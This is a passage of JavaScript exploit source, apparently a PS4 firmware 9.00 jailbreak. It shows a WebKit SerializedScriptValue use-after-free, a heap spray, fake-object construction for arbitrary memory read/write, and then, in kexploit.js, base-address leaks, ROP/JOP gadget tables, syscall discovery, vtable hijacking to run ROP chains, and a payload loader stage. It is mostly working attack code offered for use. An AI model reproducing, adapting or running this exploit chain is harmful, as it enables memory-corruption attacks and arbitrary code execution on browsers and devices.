i < views.length; i++) { 307 | const view = views[i]; 308 | if (view[0] !== 0x41) { 309 | //debug_log(`view index: ${hex(i)}`); 310 | //debug_log('found view:'); 311 | //debug_log(view); 312 | 313 | // set SSV's refcount to 1, all other fields to 0/NULL 314 | view[0] = 1; 315 | view.fill(0, 1); 316 | 317 | if (res.length) { 318 | res[1] = [new BufferView(view.buffer), pop2]; 319 | break; 320 | } 321 | 322 | // return without keeping any references to pop, making it GC-able. 323 | // its WebCore::PopStateEvent will then be freed on its death 324 | res[0] = new BufferView(view.buffer); 325 | i = num_reuses; 326 | } 327 | } 328 | 329 | if (res.length === 0) { 330 | die('failed SerializedScriptValue UaF'); 331 | } 332 | return res; 333 | } 334 | 335 | class Reader { 336 | constructor(rstr, rstr_view) { 337 | this.rstr = rstr; 338 | this.rstr_view = rstr_view; 339 | this.m_data = rstr_view.read64(off.strimpl_m_data); 340 | } 341 | 342 | read8_at(offset) { 343 | return this.rstr.charCodeAt(offset); 344 | } 345 | 346 | read32_at(offset) { 347 | const str = this.rstr; 348 | return ( 349 | str.charCodeAt(offset) 350 | | str.charCodeAt(offset + 1) << 8 351 | | str.charCodeAt(offset + 2) << 16 352 | | str.charCodeAt(offset + 3) << 24 353 | ) >>> 0; 354 | } 355 | 356 | read64_at(offset) { 357 | return sread64(this.rstr, offset); 358 | } 359 | 360 | read64(addr) { 361 | this.rstr_view.write64(off.strimpl_m_data, addr); 362 | return sread64(this.rstr, 0); 363 | } 364 | 365 | set_addr(addr) { 366 | this.rstr_view.write64(off.strimpl_m_data, addr); 367 | } 368 | 369 | // remember to use this to fix up the StringImpl before freeing it 370 | restore() { 371 | this.rstr_view.write64(off.strimpl_m_data, this.m_data); 372 | this.rstr_view.write32(off.strimpl_strlen, original_strlen); 373 | } 374 | } 375 | 376 | // we now have a double free on the fastMalloc heap 377 | async function make_rdr(view) { 378 | let str_wait = 0; 379 | const strs = []; 380 | const u32 = new Uint32Array(1); 381 | const u8 = new Uint8Array(u32.buffer); 382 | const marker_offset = original_strlen - 4; 383 | const pad = 'B'.repeat(marker_offset); 384 | 385 | //debug_log('start string spray'); 386 | while (true) { 387 | for (let i = 0; i < num_strs; i++) { 388 | u32[0] = i; 389 | // on versions like 8.0x: 390 | // * String.fromCharCode() won't create a 8-bit string. so we use 391 | // fromCodePoint() instead 392 | // * Array.prototype.join() won't try to convert 16-bit strings to 393 | // 8-bit 394 | // 395 | // given the restrictions above, we will ensure "str" is always a 396 | // 8-bit string. you can check a WebKit source code (e.g. on 8.0x) 397 | // to see that String.prototype.repeat() will create a 8-bit string 398 | // if the repeated string's length is 1 399 | // 400 | // Array.prototype.join() calls JSC::JSStringJoiner::join(). it 401 | // returns a plain JSString (not a JSRopeString). that means we 402 | // have allocated a WTF::StringImpl with the proper size and whose 403 | // string data is inlined 404 | const str = [pad, String.fromCodePoint(...u8)].join(''); 405 | strs.push(str); 406 | } 407 | 408 | if (view.read32(off.strimpl_inline_str) === 0x42424242) { 409 | view.write32(off.strimpl_strlen, 0xffffffff); 410 | break; 411 | } 412 | 413 | strs.length = 0; 414 | gc(); 415 | await sleep(); 416 | str_wait++; 417 | } 418 | //debug_log(`JSString reused memory at loop: ${str_wait}`); 419 | 420 | const idx = view.read32(off.strimpl_inline_str + marker_offset); 421 | //debug_log(`str index: ${hex(idx)}`); 422 | //debug_log('view:'); 423 | //debug_log(view); 424 | 425 | // versions like 8.0x have a JSC::JSString that have their own m_length 426 | // field. strings consult that field instead of the m_length of their 427 | // StringImpl 428 | // 429 | // we work around this by passing the string to Error. 430 | // ErrorInstance::create() will then create a new JSString initialized from 431 | // the StringImpl of the message argument 432 | const rstr = Error(strs[idx]).message; 433 | //debug_log(`str len: ${hex(rstr.length)}`); 434 | if (rstr.length === 0xffffffff) { 435 | //debug_log('confirmed correct leaked'); 436 | const addr = ( 437 | view.read64(off.strimpl_m_data) 438 | .sub(off.strimpl_inline_str) 439 | ); 440 | //debug_log(`view's buffer address: ${addr}`); 441 | return new Reader(rstr, view); 442 | } 443 | die("JSString wasn't modified"); 444 | } 445 | 446 | // we will create a JSC::CodeBlock whose m_constantRegisters is set to an array 447 | // of JSValues whose size is ssv_len. the undefined constant is automatically 448 | // added due to reasons such as "undefined is returned by default if the 449 | // function exits without returning anything" 450 | const cons_len = ssv_len - 8*5; 451 | const bt_offset = 0; 452 | const idx_offset = ssv_len - 8*3; 453 | const strs_offset = ssv_len - 8*2; 454 | const src_part = (() => { 455 | // we user var instead of let/const since such variables always get 456 | // initialized to the NULL JSValue even if you immediately return. we will 457 | // make functions that do as little as possible in order to speed up the 458 | // exploit. m_constantRegisters will still contain the unused constants 459 | // 460 | // function foo() { 461 | // return; 462 | // let a = 1; 463 | // } 464 | // 465 | // the resulting bytecode: 466 | // bb#1 467 | // [ 0] enter 468 | // [ 1] get_scope loc4 469 | // [ 3] mov loc5, loc4 470 | // [ 6] check_traps 471 | // // this part still initializes a with the NULL JSValue 472 | // [ 7] mov loc6, (const0) 473 | // [ 10] ret Undefined(const1) 474 | // Successors: [ ] 475 | // 476 | // bb#2 477 | // [ 12] mov loc6, Int32: 1(const2) 478 | // [ 15] ret Undefined(const1) 479 | // Successors: [ ] 480 | // 481 | // 482 | // Constants: 483 | // k0 = 484 | // k1 = Undefined 485 | // k2 = Int32: 1: in source as integer 486 | let res = 'var f = 0x11223344;\n'; 487 | // make unique constants that won't collide with the possible marker values 488 | for (let i = 0; i < cons_len; i += 8) { 489 | res += `var a${i} = ${num_leaks + i};\n`; 490 | } 491 | return res; 492 | })(); 493 | 494 | async function leak_code_block(reader, bt_size) { 495 | const rdr = reader; 496 | const bt = []; 497 | // take into account the cell and indexing header of the immutable 498 | // butterfly 499 | for (let i = 0; i < bt_size - 0x10; i += 8) { 500 | bt.push(i); 501 | } 502 | 503 | // cache the global variable resolution 504 | const slen = ssv_len; 505 | 506 | const bt_part = `var bt = [${bt}];\nreturn bt;\n`; 507 | const part = bt_part + src_part; 508 | const cache = []; 509 | for (let i = 0; i < num_leaks; i++) { 510 | cache.push(part + `var idx = ${i};\nidx\`foo\`;`); 511 | } 512 | 513 | const chunkSize = (is_ps4 && version < 0x900) ? 128 * KB : 1 * MB; 514 | const smallPageSize = 4 * KB; 515 | const search_addr = align(rdr.m_data, chunkSize); 516 | //debug_log(`search addr: ${search_addr}`); 517 | 518 | //debug_log(`func_src:\n${cache[0]}\nfunc_src end`); 519 | //debug_log('start find CodeBlock'); 520 | let winning_off = null; 521 | let winning_idx = null; 522 | let winning_f = null; 523 | let find_cb_loop = 0; 524 | // false positives 525 | let fp = 0; 526 | rdr.set_addr(search_addr); 527 | loop: while (true) { 528 | const funcs = []; 529 | for (let i = 0; i < num_leaks; i++) { 530 | const f = Function(cache[i]); 531 | // the first call allocates the CodeBlock 532 | f(); 533 | funcs.push(f); 534 | } 535 | 536 | for (let p = 0; p < chunkSize; p += smallPageSize) { 537 | for (let i = p; i < p + smallPageSize; i += slen) { 538 | if (rdr.read32_at(i + 8) !== 0x11223344) { 539 | continue; 540 | } 541 | 542 | rdr.set_addr(rdr.read64_at(i + strs_offset)); 543 | const m_type = rdr.read8_at(5); 544 | // make sure we're not reading the constant registers of an 545 | // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors. 546 | // CodeBlock converts those to JSArrays 547 | if (m_type !== 0) { 548 | rdr.set_addr(search_addr); 549 | winning_off = i; 550 | winning_idx = rdr.read32_at(i + idx_offset); 551 | winning_f = funcs[winning_idx]; 552 | break loop; 553 | } 554 | rdr.set_addr(search_addr); 555 | fp++; 556 | } 557 | } 558 | 559 | find_cb_loop++; 560 | gc(); 561 | await sleep(); 562 | } 563 | //debug_log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`); 564 | //debug_log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`); 565 | 566 | //debug_log('CodeBlock.m_constantRegisters.m_buffer:'); 567 | rdr.set_addr(search_addr.add(winning_off)); 568 | for (let i = 0; i < slen; i += 8) { 569 | //debug_log(`${rdr.read64_at(i)} | ${hex(i)}`); 570 | } 571 | 572 | const bt_addr = rdr.read64_at(bt_offset); 573 | const strs_addr = rdr.read64_at(strs_offset); 574 | //debug_log(`immutable butterfly addr: ${bt_addr}`); 575 | //debug_log(`string array passed to tag addr: ${strs_addr}`); 576 | 577 | //debug_log('JSImmutableButterfly:'); 578 | rdr.set_addr(bt_addr); 579 | for (let i = 0; i < bt_size; i += 8) { 580 | //debug_log(`${rdr.read64_at(i)} | ${hex(i)}`); 581 | } 582 | 583 | //debug_log('string array:'); 584 | rdr.set_addr(strs_addr); 585 | for (let i = 0; i < off.size_jsobj; i += 8) { 586 | //debug_log(`${rdr.read64_at(i)} | ${hex(i)}`); 587 | } 588 | 589 | return [winning_f, bt_addr, strs_addr]; 590 | } 591 | 592 | // data to write to the SerializedScriptValue 593 | // 594 | // setup to make deserialization create an ArrayBuffer with an arbitrary buffer 595 | // address 596 | function make_ssv_data(ssv_buf, view, view_p, addr, size) { 597 | // sizeof JSC::ArrayBufferContents 598 | const size_abc = (() => { 599 | if (is_ps4) { 600 | return version >= 0x900 ? 0x18 : 0x20; 601 | } else { 602 | return version >= 0x300 ? 0x18 : 0x20; 603 | } 604 | })(); 605 | 606 | const data_len = 9; 607 | // sizeof WTF::Vector 608 | const size_vector = 0x10; 609 | 610 | // SSV offsets 611 | const off_m_data = 8; 612 | const off_m_abc = 0x18; 613 | // view offsets 614 | const voff_vec_abc = 0; // Vector 615 | const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents 616 | const voff_data = voff_abc + size_abc; 617 | 618 | // WTF::Vector 619 | // write m_data 620 | // m_buffer 621 | ssv_buf.write64(off_m_data, view_p.add(voff_data)); 622 | // m_capacity 623 | ssv_buf.write32(off_m_data + 8, data_len); 624 | // m_size 625 | ssv_buf.write64(off_m_data + 0xc, data_len); 626 | 627 | // 6 is the serialization format version number for ps4 6.00. The format 628 | // is backwards compatible and using a value less than the current version 629 | // number used by a specific WebKit version is considered valid. 630 | // 631 | // See CloneDeserializer::isValid() from 632 | // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x. 633 | const CurrentVersion = 6; 634 | const ArrayBufferTransferTag = 23; 635 | view.write32(voff_data, CurrentVersion); 636 | view[voff_data + 4] = ArrayBufferTransferTag; 637 | view.write32(voff_data + 5, 0); 638 | 639 | // std::unique_ptr> 640 | // write m_arrayBufferContentsArray 641 | ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc)); 642 | // write WTF::Vector 643 | view.write64(voff_vec_abc, view_p.add(voff_abc)); 644 | view.write32(voff_vec_abc + 8, 1); 645 | view.write32(voff_vec_abc + 0xc, 1); 646 | 647 | if (size_abc === 0x20) { 648 | // m_destructor, offset 0, leave as 0 649 | // m_shared, offset 8, leave as 0 650 | // m_data 651 | view.write64(voff_abc + 0x10, addr); 652 | // m_sizeInBytes 653 | view.write32(voff_abc + 0x18, size); 654 | } else { 655 | // m_data 656 | view.write64(voff_abc + 0, addr); 657 | // m_destructor (48 bits), offset 8, leave as 0 658 | // m_shared (48 bits), offset 0xe, leave as 0 659 | // m_sizeInBytes 660 | view.write32(voff_abc + 0x14, size); 661 | } 662 | } 663 | 664 | async function make_arw(reader, view2, pop) { 665 | const rdr = reader; 666 | 667 | // we have to align the fake object to atomSize (16) else the process 668 | // crashes. we don't know why 669 | // 670 | // since cells (GC memory chunks) are always aligned to atomSize, there 671 | // might be code that's assuming that all GC pointers are aligned 672 | // 673 | // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at 674 | // PS4 8.0x 675 | const fakeobj_off = 0x20; 676 | const fakebt_base = fakeobj_off + off.size_jsobj; 677 | // sizeof JSC::IndexingHeader 678 | const indexingHeader_size = 8; 679 | // sizeof JSC::ArrayStorage 680 | const arrayStorage_size = 0x18; 681 | // there's only the .raw property 682 | const propertyStorage = 8; 683 | const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage; 684 | 685 | //debug_log('STAGE: leak CodeBlock'); 686 | // has too be greater than 0x10. the size of JSImmutableButterfly 687 | const bt_size = 0x10 + fakebt_off + arrayStorage_size; 688 | const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size); 689 | 690 | const view = rdr.rstr_view; 691 | const view_p = rdr.m_data.sub(off.strimpl_inline_str); 692 | const view_save = new Uint8Array(view); 693 | 694 | view.fill(0); 695 | make_ssv_data(view2, view, view_p, bt_addr, bt_size); 696 | 697 | const bt = new BufferView(pop.state); 698 | view.set(view_save); 699 | 700 | //debug_log('ArrayBuffer pointing to JSImmutableButterfly:'); 701 | for (let i = 0; i < bt.byteLength; i += 8) { 702 | //debug_log(`${bt.read64(i)} | ${hex(i)}`); 703 | } 704 | 705 | // the immutable butterfly's indexing header. zero out the fields to 706 | // prevent the GC from scanning our writes 707 | bt.write32(8, 0); 708 | bt.write32(0xc, 0); 709 | 710 | const val_true = 7; // JSValue of "true" 711 | const strs_cell = rdr.read64(strs_addr); 712 | 713 | bt.write64(fakeobj_off, strs_cell); 714 | bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off)); 715 | 716 | // since .raw is the first ever created property, it's just besides the 717 | // indexing header 718 | bt.write64(fakebt_off - 0x10, val_true); 719 | // indexing header's publicLength and vectorLength 720 | bt.write32(fakebt_off - 8, 1); 721 | bt.write32(fakebt_off - 8 + 4, 1); 722 | 723 | // custom ArrayStorage that allows read/write to index 0. we have to use an 724 | // ArrayStorage because the structure assigned to the structure id expects 725 | // one so visitButterfly() will crash if we try to fake the object with a 726 | // regular butterfly 727 | 728 | // m_sparseMap 729 | bt.write64(fakebt_off, 0); 730 | // m_indexBias 731 | bt.write32(fakebt_off + 8, 0); 732 | // m_numValuesInVector 733 | bt.write32(fakebt_off + 0xc, 1); 734 | 735 | // m_vector[0] 736 | bt.write64(fakebt_off + 0x10, val_true); 737 | 738 | // immutable_butterfly[0] = fakeobj; 739 | bt.write64(0x10, bt_addr.add(fakeobj_off)); 740 | 741 | // the GC can scan index 0 now 742 | bt.write32(8, 1); 743 | bt.write32(0xc, 1); 744 | 745 | const fake = func()[0]; 746 | //debug_log(`fake.raw: ${fake.raw}`); 747 | //debug_log(`fake[0]: ${fake[0]}`); 748 | //debug_log(`fake: [${fake}]`); 749 | 750 | const test_val = 3; 751 | //debug_log(`test setting fake[0] to ${test_val}`); 752 | fake[0] = test_val; 753 | if (fake[0] !== test_val) { 754 | die(`unexpected fake[0]: ${fake[0]}`); 755 | } 756 | 757 | function addrof(obj) { 758 | fake[0] = obj; 759 | return bt.read64(fakebt_off + 0x10); 760 | } 761 | 762 | // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, 763 | // unlike FastTypedArray, where the buffer is managed by the GC. This 764 | // prevents random crashes. 765 | // 766 | // See JSGenericTypedArrayView::visitChildren() from 767 | // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at 768 | // PS4 8.0x. 769 | const worker = new DataView(new ArrayBuffer(1)); 770 | const main_template = new Uint32Array(new ArrayBuffer(off.size_view)); 771 | 772 | const leaker = {addr: null, foo: 0x6161}; 773 | 774 | const worker_p = addrof(worker); 775 | const main_p = addrof(main_template); 776 | const leaker_p = addrof(leaker); 777 | 778 | // we'll fake objects using a JSArrayBufferView whose m_mode is 779 | // FastTypedArray. it's safe to use its buffer since it's GC-allocated. the 780 | // current fastSizeLimit is 1000. if the length is less than or equal to 781 | // that, we get a FastTypedArray 782 | const scaled_sview = off.size_view / 4; 783 | const faker = new Uint32Array(scaled_sview); 784 | const faker_p = addrof(faker); 785 | const faker_vector = rdr.read64(faker_p.add(off.view_m_vector)); 786 | 787 | const vector_idx = off.view_m_vector / 4; 788 | const length_idx = off.view_m_length / 4; 789 | const mode_idx = off.view_m_mode / 4; 790 | const bt_idx = off.js_butterfly / 4; 791 | 792 | // fake a Uint32Array using GC memory 793 | faker[vector_idx] = worker_p.low; 794 | faker[vector_idx + 1] = worker_p.high; 795 | faker[length_idx] = scaled_sview; 796 | 797 | rdr.set_addr(main_p); 798 | faker[mode_idx] = rdr.read32_at(off.view_m_mode); 799 | // JSCell 800 | faker[0] = rdr.read32_at(0); 801 | faker[1] = rdr.read32_at(4); 802 | faker[bt_idx] = rdr.read32_at(off.js_butterfly); 803 | faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4); 804 | 805 | // fakeobj() 806 | bt.write64(fakebt_off + 0x10, faker_vector); 807 | const main = fake[0]; 808 | 809 | //debug_log('main (pointing to worker):'); 810 | for (let i = 0; i < off.size_view; i += 8) { 811 | const idx = i / 4; 812 | //debug_log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`); 813 | } 814 | 815 | new Memory(main, worker, leaker, leaker_p.add(off.js_inline_prop)); 816 | //debug_log('achieved arbitrary r/w'); 817 | window.p = { 818 | read1(addr) { 819 | addr = new Int(addr.low, addr.hi); 820 | const res = mem.read8(addr); 821 | return res; 822 | }, 823 | 824 | read2(addr) { 825 | addr = new Int(addr.low, addr.hi); 826 | const res = mem.read16(addr); 827 | return res; 828 | }, 829 | 830 | read4(addr) { 831 | addr = new Int(addr.low, addr.hi); 832 | const res = mem.read32(addr); 833 | return res; 834 | }, 835 | 836 | read8(addr) { 837 | addr = new Int(addr.low, addr.hi); 838 | const res = mem.read64(addr); 839 | return new int64(res.low, res.high); 840 | }, 841 | 842 | write1(addr, value) { 843 | addr = new Int(addr.low, addr.hi); 844 | mem.write8(addr, value); 845 | }, 846 | 847 | write2(addr, value) { 848 | addr = new Int(addr.low, addr.hi); 849 | mem.write16(addr, value); 850 | }, 851 | 852 | write4(addr, value) { 853 | addr = new Int(addr.low, addr.hi); 854 | mem.write32(addr, value); 855 | }, 856 | 857 | write8(addr, value) { 858 | addr = new Int(addr.low, addr.hi); 859 | if (value instanceof int64) { 860 | value = new Int(value.low, value.hi); 861 | mem.write64(addr, value); 862 | } else { 863 | mem.write64(addr, new Int(value)); 864 | } 865 | 866 | }, 867 | 868 | leakval(obj) { 869 | const res = mem.addrof(obj); 870 | return new int64(res.low, res.high); 871 | } 872 | }; 873 | 874 | 875 | 876 | rdr.restore(); 877 | // set the refcount to a high value so we don't free the memory, view's 878 | // death will already free it (a StringImpl is currently using the memory) 879 | view.write32(0, -1); 880 | // ditto (a SerializedScriptValue is currently using the memory) 881 | view2.write32(0, -1); 882 | // we don't want its death to call fastMalloc free() on GC memory 883 | make_arw._buffer = bt.buffer; 884 | } 885 | 886 | async function main() { 887 | const t1 = performance.now(); 888 | //debug_log('STAGE: UaF SSV'); 889 | const [fsets, indices] = prepare_uaf() 890 | const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]); 891 | 892 | //debug_log('STAGE: get string relative read primitive'); 893 | const rdr = await make_rdr(view); 894 | 895 | for (const fset of fsets) { 896 | fset.rows = ''; 897 | fset.cols = ''; 898 | } 899 | 900 | //debug_log('STAGE: achieve arbitrary read/write primitive'); 901 | await make_arw(rdr, view2, pop); 902 | //alert((performance.now() - t1) / 1000); 903 | 904 | run_hax(); 905 | } 906 | main(); 907 | -------------------------------------------------------------------------------- /kexploit.js: -------------------------------------------------------------------------------- 1 | var chain; 2 | var kchain; 3 | var kchain2; 4 | var SAVED_KERNEL_STACK_PTR; 5 | var KERNEL_BASE_PTR; 6 | 7 | var webKitBase; 8 | var webKitRequirementBase; 9 | 10 | var libSceLibcInternalBase; 11 | var libKernelBase; 12 | 13 | var textArea = document.createElement("textarea"); 14 | 15 | const OFFSET_wk_vtable_first_element = 0x104F110; 16 | const OFFSET_WK_memset_import = 0x000002A8; 17 | const OFFSET_WK___stack_chk_fail_import = 0x00000178; 18 | const OFFSET_WK_psl_builtin_import = 0xD68; 19 | 20 | const OFFSET_WKR_psl_builtin = 0x33BA0; 21 | 22 | const OFFSET_WK_setjmp_gadget_one = 0x0106ACF7; 23 | const OFFSET_WK_setjmp_gadget_two = 0x01ECE1D3; 24 | const OFFSET_WK_longjmp_gadget_one = 0x0106ACF7; 25 | const OFFSET_WK_longjmp_gadget_two = 0x01ECE1D3; 26 | 27 | const OFFSET_libcint_memset = 0x0004F810; 28 | const OFFSET_libcint_setjmp = 0x000BB5BC; 29 | const OFFSET_libcint_longjmp = 0x000BB616; 30 | 31 | const OFFSET_WK2_TLS_IMAGE = 0x38e8020; 32 | 33 | 34 | const OFFSET_lk___stack_chk_fail = 0x0001FF60; 35 | const OFFSET_lk_pthread_create = 0x00025510; 36 | const OFFSET_lk_pthread_join = 0x0000AFA0; 37 | 38 | var nogc = []; 39 | var syscalls = {}; 40 | var gadgets = {}; 41 | var wk_gadgetmap = { 42 | "ret": 0x32, 43 | "pop rdi": 0x319690, 44 | "pop rsi": 0x1F4D6, 45 | "pop rdx": 0x986C, 46 | "pop rcx": 0x657B7, 47 | "pop r8": 0xAFAA71, 48 | "pop r9": 0x422571, 49 | "pop rax": 0x51A12, 50 | "pop rsp": 0x4E293, 51 | 52 | "mov [rdi], rsi": 0x1A97920, 53 | "mov [rdi], rax": 0x10788F7, 54 | "mov [rdi], eax": 0x9964BC, 55 | 56 | "cli ; pop rax": 0x566F8, 57 | "sti": 0x1FBBCC, 58 | 59 | "mov rax, [rax]": 0x241CC, 60 | "mov rax, [rsi]": 0x5106A0, 61 | "mov [rax], rsi": 0x1EFD890, 62 | "mov [rax], rdx": 0x1426A82, 63 | "mov [rax], edx": 0x3B7FE4, 64 | "add rax, rsi": 0x170397E, 65 | "mov rdx, rax": 0x53F501, 66 | "add rax, rcx": 0x2FBCD, 67 | "mov rsp, rdi": 0x2048062, 68 | "mov rdi, [rax + 8] ; call [rax]": 0x751EE7, 69 | "infloop": 0x7DFF, 70 | 71 | "mov [rax], cl": 0xC6EAF, 72 | }; 73 | 74 | var wkr_gadgetmap = { 75 | "xchg rdi, rsp ; call [rsi - 0x79]": 0x1d74f0 //JOP 3 76 | }; 77 | 78 | var wk2_gadgetmap = { 79 | "mov [rax], rdi": 0xFFDD7, 80 | "mov [rax], rcx": 0x2C9ECA, 81 | "mov [rax], cx": 0x15A7D52, 82 | }; 83 | var hmd_gadgetmap = { 84 | "add [r8], r12": 0x2BCE1 85 | }; 86 | var ipmi_gadgetmap = { 87 | "mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]": 0x344B 88 | }; 89 | 90 | function userland() { 91 | 92 | //RW -> ROP method is strongly based off of: 93 | //https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit 94 | 95 | p.launch_chain = launch_chain; 96 | p.malloc = malloc; 97 | p.malloc32 = malloc32; 98 | p.stringify = stringify; 99 | p.array_from_address = array_from_address; 100 | p.readstr = readstr; 101 | 102 | //pointer to vtable address 103 | var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18)); 104 | //address of vtable 105 | var textAreaVtable = p.read8(textAreaVtPtr); 106 | //use address of 1st entry (in .text) to calculate webkitbase 107 | webKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element); 108 | 109 | libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import))); 110 | libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset); 111 | 112 | libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import))); 113 | libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail); 114 | 115 | webKitRequirementBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_psl_builtin_import))); 116 | webKitRequirementBase.sub32inplace(OFFSET_WKR_psl_builtin); 117 | 118 | for (var gadget in wk_gadgetmap) { 119 | window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]); 120 | } 121 | for (var gadget in wkr_gadgetmap) { 122 | window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]); 123 | } 124 | 125 | function get_jmptgt(address) { 126 | var instr = p.read4(address) & 0xFFFF; 127 | var offset = p.read4(address.add32(2)); 128 | if (instr != 0x25FF) { 129 | return 0; 130 | } 131 | return address.add32(0x6 + offset); 132 | } 133 | 134 | function malloc(sz) { 135 | var backing = new Uint8Array(0x10000 + sz); 136 | window.nogc.push(backing); 137 | var ptr = p.read8(p.leakval(backing).add32(0x10)); 138 | ptr.backing = backing; 139 | return ptr; 140 | } 141 | 142 | function malloc32(sz) { 143 | var backing = new Uint8Array(0x10000 + sz * 4); 144 | window.nogc.push(backing); 145 | var ptr = p.read8(p.leakval(backing).add32(0x10)); 146 | ptr.backing = new Uint32Array(backing.buffer); 147 | return ptr; 148 | } 149 | 150 | function array_from_address(addr, size) { 151 | var og_array = new Uint32Array(0x1000); 152 | var og_array_i = p.leakval(og_array).add32(0x10); 153 | 154 | p.write8(og_array_i, addr); 155 | p.write4(og_array_i.add32(0x8), size); 156 | p.write4(og_array_i.add32(0xC), 0x1); 157 | 158 | nogc.push(og_array); 159 | return og_array; 160 | } 161 | 162 | function stringify(str) { 163 | var bufView = new Uint8Array(str.length + 1); 164 | for (var i = 0; i < str.length; i++) { 165 | bufView[i] = str.charCodeAt(i) & 0xFF; 166 | } 167 | window.nogc.push(bufView); 168 | return p.read8(p.leakval(bufView).add32(0x10)); 169 | } 170 | 171 | function readstr(addr) { 172 | var str = ""; 173 | for (var i = 0;; i++) { 174 | var c = p.read1(addr.add32(i)); 175 | if (c == 0x0) { 176 | break; 177 | } 178 | str += String.fromCharCode(c); 179 | 180 | } 181 | return str; 182 | } 183 | 184 | var fakeVtable_setjmp = p.malloc32(0x200); 185 | var fakeVtable_longjmp = p.malloc32(0x200); 186 | var original_context = p.malloc32(0x40); 187 | var modified_context = p.malloc32(0x40); 188 | 189 | p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp); 190 | p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] 191 | p.write8(fakeVtable_setjmp.add32(0x10), original_context); 192 | p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp)); 193 | p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] 194 | 195 | p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp); 196 | p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] 197 | p.write8(fakeVtable_longjmp.add32(0x10), modified_context); 198 | p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); 199 | p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] 200 | 201 | function launch_chain(chain) { 202 | chain.push(window.gadgets["pop rdi"]); 203 | chain.push(original_context); 204 | chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); 205 | 206 | p.write8(textAreaVtPtr, fakeVtable_setjmp); 207 | textArea.scrollLeft = 0x0; 208 | p.write8(modified_context.add32(0x00), window.gadgets["ret"]); 209 | p.write8(modified_context.add32(0x10), chain.stack); 210 | p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40))) 211 | 212 | p.write8(textAreaVtPtr, fakeVtable_longjmp); 213 | textArea.scrollLeft = 0x0; 214 | p.write8(textAreaVtPtr, textAreaVtable); 215 | } 216 | 217 | var kview = new Uint8Array(0x1000); 218 | var kstr = p.leakval(kview).add32(0x10); 219 | var orig_kview_buf = p.read8(kstr); 220 | 221 | p.write8(kstr, window.libKernelBase); 222 | p.write4(kstr.add32(8), 0x40000); 223 | var countbytes; 224 | 225 | for (var i = 0; i < 0x40000; i++) { 226 | if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) { 227 | countbytes = i; 228 | break; 229 | } 230 | } 231 | p.write4(kstr.add32(8), countbytes + 32); 232 | var dview32 = new Uint32Array(1); 233 | var dview8 = new Uint8Array(dview32.buffer); 234 | for (var i = 0; i < countbytes; i++) { 235 | if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) { 236 | dview8[0] = kview[i + 3]; 237 | dview8[1] = kview[i + 4]; 238 | dview8[2] = kview[i + 5]; 239 | dview8[3] = kview[i + 6]; 240 | var syscallno = dview32[0]; 241 | window.syscalls[syscallno] = window.libKernelBase.add32(i); 242 | } 243 | } 244 | p.write8(kstr, orig_kview_buf); 245 | 246 | chain = new rop(); 247 | 248 | //Sanity check 249 | if (chain.syscall(20).low == 0) { 250 | alert("webkit exploit failed. Try again if your ps4 is on fw 9.00."); 251 | while (1); 252 | } 253 | } 254 | 255 | function run_hax() { 256 | userland(); 257 | if (chain.syscall(23, 0).low != 0x0) { 258 | kernel(); 259 | //this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?. 260 | //p.write8(0x0, 0x0); //write to 0x0 -> kill browser. 261 | } 262 | 263 | var payload_buffer = chain.syscall(477, 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0); 264 | var payload_loader = p.malloc32(0x1000); 265 | 266 | //NOTE: You can replace this with a payload instead of the loader. 267 | //You would need to create an array view of payload_buffer to do that. 